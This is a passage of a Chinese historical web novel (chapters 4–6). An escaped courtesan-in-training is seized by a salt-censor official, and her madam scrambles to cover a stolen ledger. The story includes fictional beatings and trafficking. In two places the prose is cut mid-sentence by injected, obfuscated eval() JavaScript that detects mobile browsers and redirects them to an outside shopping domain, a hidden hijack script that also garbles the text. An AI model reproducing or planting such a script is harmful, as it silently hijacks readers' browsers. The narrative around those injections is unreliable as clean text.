她身上的大氅其实不叫大氅，不过是个春季的短披风罢了。便把自己的大氅如同裹浴巾一般裹在身上，又把两人剩下的所有衣服按照抹胸、中衣、外衣的次序，一一穿在身上。这样一来，纤细的身体看上去便壮硕多了。 再将自己的袜子鞋子脱下来揣进胸口兜里，这些都可以去估衣铺换钱的，沈澜一文钱都舍不得丢。 又换上其中一人的袜子鞋子，另一双袜子便分成两只，正好将两人的嘴堵上。解下两人的裤腰带，将她们抱颈捆好。 最后，沈澜照着俩人的发型，给自己梳了个已婚女子发髻。这发髻极简单，想来也是，平头百姓日日要劳作，怎么可能梳些复杂发髻。 她又用手指在地上抹了点泥巴，均匀的抹在自己白净的脸上。 万事俱备，沈澜干了最后一件事。 ——她推开了门。 外头依然黑漆漆的，可仿佛有鲜活的空气涌进来。 沈澜心脏狂跳，激动不已，她深呼吸一口气，正要跨过门槛奔逃，忽觉后颈一痛，便失去了意识。 4. 第4章 入夜，盐漕察院内。 裴慎站在四君子雕花楠木翘头案前，案上置着一只天青色官窑古胆瓶，斜斜插着几支青翠田田的莲叶。 灯火煌煌之下，他正随意把玩着一支箬木制的绿沈漆竹笔，门外忽有人轻叩。 “爷，查到了一册账本，只是……”进来的侍卫林秉忠将一册账本递上，又为难道：“去刘宅时发现有一女子打晕了两个守门婆子似要逃跑，为防节外生枝，便将她一起带回来了。” 说着，将肩上扛着的麻袋放下来，正要解开。 “不必解开！”麻袋里的沈澜突然出声，唬了林秉忠一跳。 就连裴慎都一愣，复又沉着脸：“稍候出去自领十军棍。” 这麻袋里的人一动不动，林秉忠还以为对方一直晕着，一时便大意了。竟叫一个外人听见了账本二字。 他自知鲁莽，哪敢辩驳，领了命站在一旁不说话。 沈澜半路就被颠醒了，可四肢被绑，逃也逃不了，便只能装昏，这会儿见要解开麻袋，赶紧道：“诸位好汉，我被套着麻袋，不曾见过你们的脸，还请好汉饶命。” 见她这般，裴慎问道：“你是何人？为何从刘宅出来？” 沈澜心知对方能无声无息掳走她，绝不是刘妈妈之流，更不是她能抗衡的，便老实道：“我本是刘宅丫鬟，不堪被人打骂，夤夜出逃，望二位好汉饶命。” 丫鬟？裴慎冷笑：“满口谎话。” 沈澜心里一突，只听裴慎道：“你一个丫鬟，随意找个由头出府一趟，一去不回便是。非要在夜深人静跑？恐怕不是丫鬟，是刘宅的瘦马罢！” 沈澜见被识破，即刻道：“这位壮士明察秋毫，小女的确是瘦马出身。少时家贫，没吃过一顿饱饭，被卖后学不会诗词歌赋，又不会算账女工，便日日挨饿，面黄肌瘦，苦不堪言。只好趁夜出逃，万望二位壮士可怜一二。” 这话说的实在可怜，还隐有啜泣之声，一旁的林秉忠面露不忍，谁知裴慎是个冷心肠，只淡淡道：“又说谎。” “你一个人能打晕两个婆子，必定是使了计的，这般灵慧之辈，说自己太笨学不会东西？谎话连篇！” 沈澜咬着牙，暗恨今儿怎么这么倒霉，碰上了个煞星。 裴慎见她不说话，心道她百般狡辩，说什么怕看见我与林秉忠的脸，又说自己是丫鬟，又说自己挨饿到面黄肌瘦，无非是怕我解开麻袋，看了她的脸对她心怀不轨罢了。 “去，解了袋口。”裴慎吩咐道。他倒要看看是什么样的天姿国色。 麻袋口一开，沈澜猝不及防见到亮光，生理性眼泪涌出，湿润了眼眶。 她睁开眼，一双水洗般的明眸，朱唇榴齿，云鬓花颜，明澈干净，清丽脱俗。灯火朦胧之下，唯见美人含泪，似喜似嗔，最是多情。 裴慎见状，竟微微失神。 只他在看沈澜，沈澜也在看他。 此人身着竹叶纹缂丝云锦直缀，头戴玉冠，腰佩锦带，脚蹬官靴。身量高挑，肩宽背阔，剑眉星目，鼻梁高挺，薄唇，渊渟岳峙，气度斐然，颇具压迫感。 沈澜死死地把这王八蛋的脸印入脑海后，便低下头去。 她生得俏，此刻低头，如海棠垂首，又似菩萨低眉。 裴慎喉头微动，轻咳一声，“你早不跑，晚不跑，偏偏挑在今夜，可是明日便要被送去哪家府上？” 沈澜心念一动，“是，约好了明日便要去新任巡盐御史府上。若我明日不出现，御史老爷必定会派人来找我。” 为今之计，只盼着巡盐御史尚还有些震慑力，能压住此人。 只不知为何，沈澜这话说出口，室内一片静默。 这样的静默着实令人坐立难安。 半晌，裴慎忽朗声笑道：“我怎么不知道，明日竟是佳人有约？” 沈澜惊愕不已，猛地抬头看他，唯见对方笑意盈盈过来，替她解开双手上的绳子，又将她扶起来。 她越笑，沈澜越发惊惧。 刚出虎穴，又入狼窝。 “你这是……”见她站直了身体后，腰部粗壮，宛如水桶，分明是为掩盖身形缠了许多衣物，裴慎一时间哑然失笑，笑骂道：“当真精怪！” 俩人素不相识，对方却表现的如此亲昵，沈澜心里发沉，只低头道：“大人，民女不懂事，方才是胡说八道的。” 裴慎见她如此，哦了一声，好心道：“既你不是赠予我的，我便将你送回刘宅，也算是做善事了。” 说着便要喊人，沈澜一时情急，连忙恭顺求饶：“大人！民女方才一时情急，胡言乱语蒙骗了大人，万望大人海涵。” 又道：“民女出身鄙陋，乡野小民，市井之徒，没读过多少书，不识得几个字，却也知道清白做人的道理，只因不愿做瘦马这才逃跑，还请大人莫要将民女送回刘宅那虎狼之地，万望大人体恤一二，全当今日没见过民女。” 裴慎似笑非笑，拿着笔遥遥指着她：“你不实在。见过便是见过，哪里能当做没见过呢？” 沈澜心知对方不肯放过她，也不想再绕圈子，直言道：“敢问大人欲如何处置民女？” 裴慎便看她几眼，见她低眉敛目却依然可见朱唇粉面，心里便有些意动：“你原本是要被送到我府上的，逃跑以后竟还能遇着我，也算是一段奇缘。” 沈澜银牙暗咬，恨得不行，却挤出一个恭敬的笑容道：“大人此话何意？” 裴慎笑道：“你一介弱质女流，手无缚鸡之力，便是逃出去了，日子也不好过。既是如此，倒不如在本官身侧待着。” 沈澜一时间悲从中来。她不想给人当妾室，足足熬了一年才逃出刘宅，谁料刚出虎穴，又入狼窝。到头来还得给人当妾。 她不死心，咬牙问道：“大人何意？” “我初初上任，盐漕察院里侍奉起居的丫鬟婆子粗手粗脚，不堪大用，便想寻一个懂些文墨的丫鬟。” 丫鬟？沈澜惊讶不已。一时间竟不知难过好还是庆幸好。不做妾室固然很好，可当丫鬟又能好的到哪里去呢！ 沈澜咬咬牙道：“大人，民女只想做个良家子，安安生生过日子。” 这是既不想当妾，又不想为奴为婢了。 裴慎便冷下脸来，“你是瘦马出身，签得必定是奴籍，如今不过是将你的主子从鸨母换成本官罢了，你觉得本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375387|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官还比不上一个鸨母吗？” 语毕，似笑非笑道：“你若不愿意伺候我也罢了，只是今日恰好抓住了个逃奴。按律，逃奴若被抓住打死勿论。” 沈澜被他威胁，又见他冷冰冰的样子，心知对方已然不耐，若再争下去，恐怕真要被治罪打死。 罢了，留得青山在，不怕没柴烧。且先安抚他，熬过这一遭再逃跑。 “民女愿伺候大人。”沈澜假意恭敬道。 见她这般恭顺，裴慎神色和缓道：“你原来叫什么？” 本想说“沈澜”，转念一想，本名得等她逃出去再用，便说道：“绿珠。” “绿珠。”裴慎瞥她两眼，笑道，“倒也贴切。” “只是意头不好，况且你既做了丫鬟，当换个名字”裴慎随口道，“已是六月，花团锦簇好时候，便叫沁芳吧。” 沈澜素来秉持除死无大事的原则，能屈能伸道：“是。” 裴慎瞥她一眼，沈澜会意：“奴婢谢过爷赐名。” 见她恭顺，裴慎便温声道：“你在刘宅待了多久？可曾听过刘葛这个人？” 沈澜刚才听他们提到账本，想来对方是为了找什么账本才去的刘宅。账本这种东西素来隐秘，既然能查到这般隐秘的东西，恐怕已经知道许多东西了。 思忖片刻，沈澜老实道：“待了七年，刘妈妈自称攀上了盐商刘葛才做了瘦马生意，对外宣称本家。只是上一年刘葛来挑瘦马时我亦见过，刘葛起身时，刘妈妈靠的很近且扶了他一把，这二人恐怕是姘头关系。” 见她说起姘头二字面不改色，裴慎心道果真是瘦马出身，不知廉耻。恐怕避火图、浮诗艳词也是学过的。 裴慎一时间心生不喜，淡淡道：“不过是靠的近罢了，你又怎知俩人关系？” 沈澜二话不说，往林秉忠的方向走了两步。林秉忠下意识后退半步，低下头去不敢看她。 “大人，这才是正常男子见了女子的反应。” 裴慎定定地看了她两眼，见她靠近林秉忠毫不害臊，反倒林秉忠低头红脸的，一时间只觉此女果真是浮花浪蕊，放荡至极。 他那点心思也淡了，便冷哼道：“你且下去。” 沈澜不知他为何阴晴不定，不过不必伺候他，便高高兴兴地走了。 这会儿已是天蒙蒙亮，有丫鬟早起扫洒庭院。 沈澜进了后院，颇有自知之明的问道：“敢问这位小妹妹，府中下人住何处？” 正扫洒的小丫鬟抬起头来，骤然见了沈澜的脸，痴痴梦梦好一会儿才回神道：“你是……？” “府中新来的婢女。”沈澜道。 那丫鬟名叫坠儿，此刻呆呆地哦了两声，方带她去往下房。 前任扬州巡盐御史将盐漕察院修建的颇为宽敞，再加上院中仆婢稀少，即使是下房，也足够仆人们一人一间。 沈澜随意挑选了一间离不远不近的下房，躺在榻上。 她足足一天一夜没睡，又四处奔波，心神紧张，这会儿躺在床榻上，本想理理思绪，看看日后的路要怎么走，偏偏一沾着枕头便睡着了。 她睡得香，可书房里，裴慎却毫无睡意。 5. 第5章 书房内，侍卫林秉忠抱剑而立，正禀报情况：“带了两个人去正房，吹了些迷烟进去，又怕那鸨母醒来，便敲晕她后才四处详查。” “其余的倒也没甚怪异之处，只床榻四周地上俱有划痕，这床恐怕时常移动，我等移开床榻后发现有几块砖明显没砌死，便找到了账簿。” 说到这里，林秉忠的脸微微发红，含糊道：“还找了件鸨母的衣物塞了进去，只要不把包着账本的包袱打开来看，或许能糊弄过去。” 裴慎不置可否：“既是床榻时常移动，恐怕刘葛每次去刘宅都要查看账簿。下一次再去，他必定会发现账簿丢失。” 裴慎说到这里突然嗤笑：“不过也不一定。” 怎么又不一定了？林秉忠一脸迷茫。 见他鲁钝，裴慎也懒得解释，只摆摆手道：“你且派几个人盯住那鸨母和刘葛，若没动静便按兵不动。若逃了，不必留情，两人都抓了扔进牢里再说。” “是。”林秉忠应声出去。 裴慎便不再说话，一页页翻过账册，只见上面记载着一条条消息。 “丁卯年三月十五，宴都转运盐使司转运使秦献、副使刘必之、经历赵案费银百十七两，赠秦宅邸一座，刘瘦马一匹，赵《伯远帖》真迹。” “丁卯年四月初六，再赠秦金珠三百，美婢一名，余得残盐二百引，余盐一千引。” “丁卯年七月十九，暴雨七日，转运使秦上报正盐两千四百六十三引为雨水所淹，余分润得正盐七百四十八引。” 裴慎神色冷冷，便是不继续往下翻，他都知道底下是什么，无非是以各色名目侵吞运所盐产罢了。 裴慎取出纸笔，一一录下账册上提及的名字，紧接着一个个打量过去。 转运使秦献乃都察院御史孙宁德外弟，此人脾性爆裂，言辞如刀，虽被人戏称为刀笔吏，然则刚正不阿。 若秦献一倒，必有人弹劾孙宁德，陛下恐不会让秦献坐实贪虐之罪。要他再任一年，此后借机寻个错处，革去转运使之职，以免牵连孙宁德。 既然如此，便可向孙宁德与秦献卖个好。 裴慎思索着，将秦献的名字圈了出来。 下一个，副使刘必之。此人是浙中心学门人，在朝无党无派，在野关系颇多。且擢拔一个浙中心学门徒代替他便是了。 以朱笔划去刘必之的名讳，又在旁写下“李阔”二字。此人师从浙中心学谷良定，但他还有另一个更具代表性的身份，裴慎同年。 况且李阔任副使，待一年后秦献被革职，李阔若做的好，必能被擢升转正。届时，两淮都转运盐使司转运使的位子便稳稳当当落在裴慎夹袋中了。 辛苦一月，略有所得，裴慎面带浅笑。 再看接下来的这些官位，经历司经历、知事，仓场大使等等十余个人，一大半都是朝中无人照应的小卒。 既然如此，将泰半官位分润给朝中数位阁老以示好。留下一两个给戴罪立功之人以收拢人心，最后三四个关键位子便留给同乡同年，既不显眼也好办事。 裴慎细细写了名单，待复核过一遍后，记于脑中，将纸张掷于火盆中焚烧殆尽。 紧接着，他取出题本，只思索片刻，换成了奏本。 公事用题，私事用奏。账本一事颇为隐秘，若用题本，必要先去通政司、内阁走一遭，难免泄露风声。 十二幅白纸上书“臣都察院巡盐御史裴慎谨奏为劾都转运盐使司转运使秦献、副使刘必之、经历赵案罪七条……如燕口夺泥，贪财贪色以率其行，似针头削铁，好利好谀以欺乎上……臣请暂不增发盐引以恤灶恤民，二请增设避潮墩以免灾殃，三请清点正盐、余盐、残盐、零盐、所盐数量……右谨奏闻。” 裴慎年少登科，文采斐然，加之上任一月来四处走访盐所乱象，胸有成竹之下，提笔一蹴而就，连篇馆阁体，一字未涂改。 待他写完奏本，便与账本一同放于报匣中，将另一个侍卫陈松墨唤进来，吩咐道：“快马加急，送去锦衣卫。” 陈松墨接过东西，告退离去。 此刻日头高照，盐漕察院人少，颇为静谧，刘宅却已一派兵荒马乱。 “快快快，快把我的裙子拿来！” “哎呀，簪子都插歪了。” “姑娘，忍一忍别喝吃东西！万一见客的时候想如厕就不好了！” “花钿呢？把花钿给我贴上！” 婢女们急急忙忙把自家姑娘喊起来了，着绫罗，簪钗环，搽脂抹粉，描眉画眼…… 刘妈妈这一觉睡得沉，若不是丫鬟喊她，恐怕还要再睡。直到日上三竿，她才揉揉酸痛的脖子，穿戴完毕，迈进小院子，怡然自得地从东厢房开始巡查起来。 不错，琼华、香梧都开始准备了。 “虽说要快着些，但也不能急”，刘妈妈嘱咐道。 见两个婢女细声细气地应了，刘妈妈满意地点点头，又去了正房。 “叩叩叩” 片刻后，屋子里还是没有声音，刘妈妈眉头一蹙，反手推开大门。 屋子也不大，一眼望去，画屏正在脚踏上酣眠。 这都什么时辰了，竟还在睡！刘妈妈沉下脸，踢了踢画屏蜷缩的双腿。画屏惊痛之下睁眼，瞧见刘妈妈阴沉似水的样子。一时惊慌，委屈道：“刘妈妈，你踢我做甚？！” 画屏这懒胚子，越发没规矩了，待忙完了这几天，且叫她老子娘好生教教她。 刘妈妈想着，抬手撩开纱帐。素纱帐内薄被隆起，绿珠分明还在睡。 当真不知轻重，这都什么时候了，还在睡。刘妈妈蹙眉，一把掀开被子：“绿珠，快起来……” 被子底下赫然是个青竹枕。摆的端端正正，四四方方。 一旁还放着个雕花杉木妆奁，里头一干二净。 刘妈妈一时间头晕脑胀，只觉血气直冲天灵，她勃然变色，回身斥骂：“愣着做甚！快去找绿珠！厅堂里，花园子里，把犄角旮旯都翻检一遍！快去！” 跟在她身后的李婆子慌忙带着几个健妇出去。唯剩下画屏脸色惨白，只立在床边哆哆嗦嗦如鹌鹑。 刘妈妈见状，心头大恨，伸手甩了画屏两巴掌，边打边骂道：“你这懒驴！叫你看个人你看狗肚子里去了！眼珠子不要了不成！你是痰迷心窍了，个贱蹄子！” “哎呦，妈妈……妈妈饶命……疼……不敢了……”画屏哭哭啼啼地躲闪，可刘妈妈又气又怒，哪里肯饶她。骂累了，便干脆下狠手拧一圈皮肉掐她。 画屏疼得不行了，啼哭道：“……厨房！厨房！” 刘妈妈骤然一停，惊疑不定的看着她。画屏宛如抓住了救命稻草，死揪着刘妈妈的衣袖，抽噎道，“昨晚、昨晚姑娘说她早上要喝粥。必定是自己去厨房取了。” 闻言，刘妈妈更是大怒，这吃白粥和床上隆起的被子一样，都是绿珠拖延时间的玩意。若自己真信了，派人去厨房找绿珠…… 刘妈妈越想越气，干脆抄起随身携带的，专门用来调.教瘦马的细竹条，劈头盖脸的抽下去：“蠢东西！当真是个蠢笨玩意儿！素日里给你们吃的喝的，都吃哪儿去了！脏心烂肺的下贱蹄子！你活着做甚！蠢死算了！” 画屏哭得上气不接下气，顾得住头，顾不上腚，被打的身上脸上一道道浮起的血凛子。 她在家从没受过这么大的委屈，又气又委屈，只嚷嚷着：“你打我做甚！打我做甚！那绿珠对谁都说要去攀富贵，谁能想得到她跑了呢！” 刘妈妈一时更气。她终日打雁被雁啄了眼，此刻气急败坏，正要扬起细竹条，狠狠地打上去，方才去找绿珠的李婆子连滚带爬地过来。 ”刘妈妈，不好了不好了，陈荷花和王三娘被人绑起来了”。 剧烈的晕眩感让刘妈妈脑子发疼。 “就在后头的角门，两人衣服都被扒光了，还被扔进了花丛里，脑袋血糊糊的，绑的可结实了！”李婆子惊慌未定，“刘妈妈，要不你去看看她俩？” 看个屁！绿珠必定是逃出府了！刘妈妈被气的胸口一阵闷痛，她恨恨地扔下竹条，顾不上哭喊着要去找陈荷花的画屏：“都给我把人散出去，从角门一路往外搜。她一个弱女子，大门不出，二门不迈，跑不了多远！” “可、可刘妈妈，再过半个时辰，刘老爷就要来了！”护院刘鹏匆匆来报。 好好好！贱人！就是想趁此机会拖时间是吧？！ “分出一半的人手去找她。”刘妈妈咬牙切齿，“另一半人手留在院子里，等着主顾上门！” 她指着刘鹏：“去了外头小心着点，别给我招祸。” “妈妈尽管放心。”刘鹏自然知道做这种事要稍微隐晦些。扬州膏腴之地，多少富贵人家，他们不过是调教瘦马的平头百姓，哪里能横冲直撞，肆无忌惮呢。 “还有。”刘妈妈语调森森，恨不得生啖其肉，“今日申时三刻，还抓不到这贱人，你便拿着刘老爷的帖子，去衙门里报逃奴！” 刘鹏悚然一惊。这是要赶尽杀绝啊！ 绿珠若是不离开扬州，总有一天会被他们找到的。可要想逃出扬州，就得要路引，但她是逃奴了，一去官府办路引，即刻就会被抓。 前后的路都被堵绝了。刘鹏打了个寒颤，刘妈妈好狠的心啊！ “呵！”刘妈妈阴着脸冷笑一声，“你可别对那贱皮子心软！她这一逃，你可是亏了一大笔银钱呢！”每卖出去一个姑娘，这里上上下下，都能分润一笔银子，虽然不多却也是个进项。 刘鹏那点稀薄的同情心，宛如朝露般散去。他阴着脸点了几个人：“你、你，还有你。跟我走！” 看着刘鹏远去的背影，刘妈妈冷声吩咐道：“还愣着干什么？刘老爷要来了，赶紧准备去！” 刘老爷马上就要来选人了，绿珠不在，那就只有琼华了。刘妈妈边走边思量，越想越恨，只恨不得撕下绿珠一块肉来。 这贱皮子，小娼妇！没福气的下作东西！泼天的富贵摆在眼前，竟然跑了？！还将守门婆子打得头破血流，害她少了两个人手搜捕。 刘妈妈思及此处，脚步倏忽一顿。绿珠一个弱女子，怎能击晕两个健妇？再一想到自己后颈酸麻，早上昏昧不醒……刘妈妈面色阴晦如霾。 她原是沿着游廊莲步轻移，此刻顾不得婀娜风致，越行越急，裙摆翻动，行步如飞。 匆匆赶到正房，合上房门，慌忙推动自己的床榻，露出墙角，取下两三块未曾砌死的活砖，只见里面有个细棉布包袱。 刘妈妈一口浊气吐出，包袱还在就好。她刚扯出包袱，打开一看，差点晕过去。 里面赫然是一件豆绿色比甲！ 捏着柔软的杭绸，刘妈妈火冒三丈，怒气冲冲将衣衫掷于地下，狠狠地啐了两口，这才冷静下来。 账本被人拿了，刘葛必定事发。况且对方能找到这里，她恐怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375388|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也被人盯上了。事已至此，舍了家业，速速离开扬州避风头方是正事。 刘妈妈慌急慌忙取了银钱便要逃，转念一想，那死鬼贩私盐起家，心狠手辣，若今日见不到她，又找不到账本，以为她携账私逃，狗急跳墙找个由头报官追捕她可如何是好！ 况且急急逃跑，路引倒是早早备好，只是银钱唯有千余两罢了。若能先哄过刘葛，卖了手上的货再走，那便松快多了。 刘妈妈思忖片刻，狠下心来，扯开被褥，那床上竟还有个隔层。 打开一看，里面赫然是一本账簿。 刘葛做账是怕事发，好用账本将功折罪，或是要挟受贿官吏救他。又怕那些官儿只想毁了账本，不肯救他，除了在自己府中藏有正本外，干脆又在她这里藏了副本。 可那刘葛既然狡兔三窟，刘妈妈又何尝不是个精明人呢？便复刻了一份账本私藏起来。 此刻，丢了刘葛那份，还有刘妈妈这份。 用的是贮藏三年的官堆竹纸，以刘葛最常用的剔红管狼毫笔，蘸着凹地阳文去角碑墨写就，保管与丢掉的账簿材质、字迹均一模一样。 刘妈妈取出账簿，只暗叹一声，葛郎，你也莫怪我，夫妻本是同林鸟，大难临头各自飞。更别提你我还不是夫妻呢。 她将账簿塞进墙中，将砖块、床榻复原，又急急去寻琼华。 琼华正梳洗打扮，忽闻绿珠逃了，一时间惊愕不已。 刘妈妈见她那副呆呆发愣的样子，忍不住迁怒，暗骂一句，也不知是不是装的，左右都是贱蹄子！ “绿珠这下作东西，也不知道念我的恩！”刘妈妈满腔怒气，还要和颜悦色地拍拍琼华的手。 她温温柔柔：“琼华啊，绿珠书读多了，人也傻了，孤身一人的弱女子在外面，能有什么好的呢？只怕是被人掳去，进私窠子当暗娼，做个千人枕万人骑的婊.子！” 琼华一个哆嗦，被吓得脸色惨白，又想起之前刘妈妈带她们去看过的暗门子。 怀孕了被龟公一棍棍打在肚皮上，血流了满地，活生生打到流产的；长了杨梅疮，拿烧红的烙铁烫掉疮，继续接客的；还有被客人拿鞭子打得半残的女子…… 三言两语便唬住了琼华，刘妈妈满意地点点头，“去！把绿珠衣物拿来，再叫画屏来伺候琼华。” 刘妈妈眼风一扫，琼华的丫鬟春燕即刻应了一声出门去。 见四下无人，刘妈妈这才道：“琼华啊，如今绿珠逃了，能去巡盐御史府上的人便只有你了。你可愿意？” 琼华微微一怔，喜上眉梢，只点头道：“自是愿意的。” 见她这般，刘妈妈紧绷的心弦可算是松了下来。她早已告诉过刘葛，院中有一位天姿国色的美人可献给新任巡盐御史，如今绿珠逃了，若无人顶替，刘葛必起疑心，为今之计，只能拿琼华糊弄过去了。 刘妈妈心中计定，又安抚了院中其余的几个姑娘，勒令众人不得再议论绿珠逃跑一事，复又急急赶去梳妆打扮。 不过半个时辰，刘葛便如期而至。 刘老爷年过四十，留一把美髯，大腹便便，头戴深色网巾，穿一件鹤鸣缂丝直缀，看起来颇有气度。 刘妈妈捏着清漆柄水仙茶花团扇，穿着时新的白线挑衫，蓝织金裙，梳着云髻，头上插一柄玉梳，并一只白玉兰簪。精心梳妆打扮后看起来虽徐娘半老却风姿绰约。 她将下人打发出去，见了刘老爷便嗔道：“你这冤家，来挑个货便这般打扮，浑然忘了还有奴家以泪洗面，日夜念着你！” 刘葛连忙将她搂过来，一通心肝肉地哄。 俩人腻歪了好一阵，刘妈妈见他要起身去查看包袱，娇声道：“葛郎，你回来都要看那东西，到底是来见我还是见它？今儿不许你看！” 刘葛闻言，顿时起疑。他做盐商的，若说没心眼，那当真是笑话。他疑心大起，便一面赔笑，一面挪开床榻。 刘妈妈气道：“好好好，你要看便看！只有一条，若这东西没事，你以后都不许上我的床榻！” 刘葛已然扯出了包袱，打开一看，那账本果真还在。他正要翻开来，刘妈妈便在一旁讽刺道：“你看便是了！好好看仔细看！看到日落西山都行！” 刘葛见账本好好的，自己方才还怀疑刘妈妈，心中原就有几分愧意，此刻又听刘妈妈这么说，照旧打开了第一页看了几眼，见没什么差错这才扔下账本赔笑道：“不看了不看了，来看我的娇娇儿。” 刘妈妈心下一松。又冷哼一声，伸出莲足想踹他一脚却偏偏止住，再含羞带怯睄一眼，刘葛一时间便心猿意马起来。 俩人扔下账本调笑了一阵，便将床榻复位，又唤来瘦马挑拣。 “奇了，上一年我分明见着个清丽脱俗的姑娘，去哪儿了？” 刘妈妈摇着团扇的手一顿，娇笑道：“你可莫提她，那丫头是个蠢笨的，原还有张脸，只前些日子脸上竟起了疹子，再三告诫她不许挠，还是挠花了脸，治也治不好，都留疤了，气的我提脚卖去了楼子里。” 刘老爷扼腕不已：“好端端的脸，怎么就毁了呢！”由得你有万般才情，对一个瘦马而言，毁了脸便是毁了一切。 刘葛惋惜过后，再没了打听的兴趣，只挑中了琼华，付了足足一千两银票，一顶小轿带走了她。 刘妈妈松了口气，又要迎接下午约好的几个老爷。待把手里的几件货卖了，拿上银钱便即刻离开扬州。 6. 第6章 沈澜醒来，已是日上三竿。 想来是这半年来日日提心吊胆，如今骤然松懈下来，便是饿着肚子也酣眠一场。 至少裴慎不至于把她送去给人当妾室，也不会因为卖不到一个好价钱就只能将她卖去妓馆接客，为了自己的官声更不至于虐待她。 细细算来，这几日竟是她一年来精神上最为舒缓的时候。 沈澜悲哀的叹了口气，复又打起精神来，想出门寻些吃食。 她醒的太晚，丫鬟婆子们早已吃过早饭，便只能在坠儿的带路下到了小厨房，请厨娘做了碗清汤面。 那厨娘摆弄着几十颗黄梅，正以杵去核，沈澜好奇道：“赵娘子这是在做甚？” “制梅酱。这天热死个人，且给大人呈一碗梅汤消夏。”说着，赵娘子又将四两甘草炙成末，一斤研好后的姜片扔进钵中。 接着，便半侧着身子，挡住了沈澜的视线，又往钵里扔了几粒剖开的青梅子并些许紫苏干、白豆仁…… 沈澜见状，了然一笑。盐漕察院富庶，连厨娘都是扬州名厨。这样的人家多有自己的秘方，敝帚自珍也是常态。 沈澜无意窥伺他人秘方，便转过身专心吃面。待她吃完面，见赵娘子还在搅匀那些料，便问道：“赵娘子，若是不用这么多料，只是几颗黄梅青梅，制出来的梅酱味道如何？” 赵娘子知道她是大人身侧伺候的丫鬟，便好声好气道：“寻常百姓家里夏日也煮梅汤，不过是将蒸好去核的乌梅、黄梅捣烂，煮成汤罢了。味道虽没有我制的好，却也过得去。” 沈澜若有所思的点头：“这样的梅汤作价几何？” “姑娘说笑了，街里街坊的，家里有株青梅树，若有人去讨要几个梅子，谁还收钱不成？真要去买，青梅太酸也要不了几个钱。便是用青梅腌渍成的乌梅，或是四五月的黄梅，也不过多费些柴火罢了。” 沈澜点头称是，又问道：“这夏季消暑，除了酸梅汤，还有绿豆汤罢，这绿豆可便宜？” “绿豆不过四文一斤，一斤绿豆十斤水，够你喝到肚皮滚滚圆。” 语毕，赵娘子好奇：“姑娘问这些做甚？” “不过是随口一问罢了。”沈澜只是笑，又换了个话题：“我初来乍到，不谙院中事物，敢问赵娘子，这院子里可有大人带来的家生子？” 赵娘子正碾弄着钵中诸料，手中不停，口中只答复道：“院中唯我一个厨娘，并三个粗使婆子，还有坠儿与墨砚两个七八岁的小童罢了，俱是扬州本地人。” 沈澜便点点头，又道了谢，自己洗净碗筷，出门去寻坠儿，探听将她掳来的那侍卫去向。 那侍卫既是裴慎亲信，想来多半是其府中人。便不是，也对裴慎了解甚深。 坠儿年纪小，常做跑腿的活，被沈澜塞了两个铜板，便喜上眉梢：“我方才见那林秉忠出了内院门口，只是不知道何时回来。姐姐若要寻他，不如去门口等一等。” 沈澜便在一处月亮门前截住了他。 这林秉忠掳了她来，害她为奴为婢伺候人，沈澜心里厌烦他，可这会儿人在屋檐下，不得不低头，只能挤出个笑来：“不知林大哥可有空？我有几件事想问问。” 林秉忠想了想，大人只叫他盯着几个案犯，暂时没别的吩咐，便说道：“敢问姑娘所问何事？” 沈澜：“据我所知，卖身契一式三份，买方、卖方各一份，担保人即官府一份。我若持有刘妈妈手中的卖身契，能否前往官府销去奴籍？” 林秉忠颇为惊讶，蹙眉：“爷不是让你安心住下来吗？” 沈澜反问：“安心为奴为婢吗？” 林秉忠一愣，劝道：“姑娘，爷是国公府世子，做丫鬟穿金戴银不算委屈了你。况且外头的世道对女子太过艰难。你若无人庇佑，生得又好，帮闲无赖白日便敢来敲你家门。” 沈澜不是不知道，在古代一个孤身女子生存何其艰难。多少人家插标卖首、卖儿鬻女都是为了活下去。可比起当瘦马被人卖来卖去，比起为奴为婢尊严沦丧，一切困难都可以克服。 “林大哥，人各有志，我这一生，宁可自由自在老死于荒山野岭，也不愿富贵荣华却一辈子为奴为婢。” 林秉忠愕然不已，不禁抬头望她，见她荆钗布裙难掩清丽，亭亭地立在日光里，他慌忙低下头去。 良久，只轻声道：“若是如此，你不如求求爷。爷见你一个弱女子可怜，或许便肯销了你的奴籍。” 沈澜郁闷不已。心道这裴慎面上功夫做的有多好，分明是个心冷如铁之辈！ 见她不说话，林秉忠又安慰她：“你且宽心，公府为积德，丫鬟多有定例，你不是家生子，二十岁也就放出去了，有的蒙主子恩典，十七八有家里人来赎便也让她们走了。况且你若活做得好，叫爷高兴，出府的时候，爷自会送你一份前程。” 沈澜苦笑，她原本想着刘葛倒台，刘妈妈就此失去靠山，她或许能赎回自己的卖身契，如今看来，林秉忠避而不谈，恐怕希望不大。 “既是如此，我想问问林大哥。”沈澜直言道，“大人身侧可有妾室？”裴慎有没有可能纳她做妾？ 林秉忠实在耿介鲁直，根本听不出她的言外之意，直言道：“姑娘勿要胡说，大人正要守孝三载，怎会有妾室？” 沈澜一时间悲喜交加。 事情已成定局，如今想销去奴籍是不可能了。且裴慎势大，与刘妈妈不同，想在他手中逃跑，难上加难。 可听林秉忠这么一说，不做妾，只干个三年仆婢，找人来赎她就能脱身，届时便是光明正大的良家子了，可比当个逃奴，挖空心思上户籍，心惊胆战生怕事发强多了。还能借助国公府，结识些人脉善缘，将来孤身一人也不怕被街头的帮闲地痞欺凌。 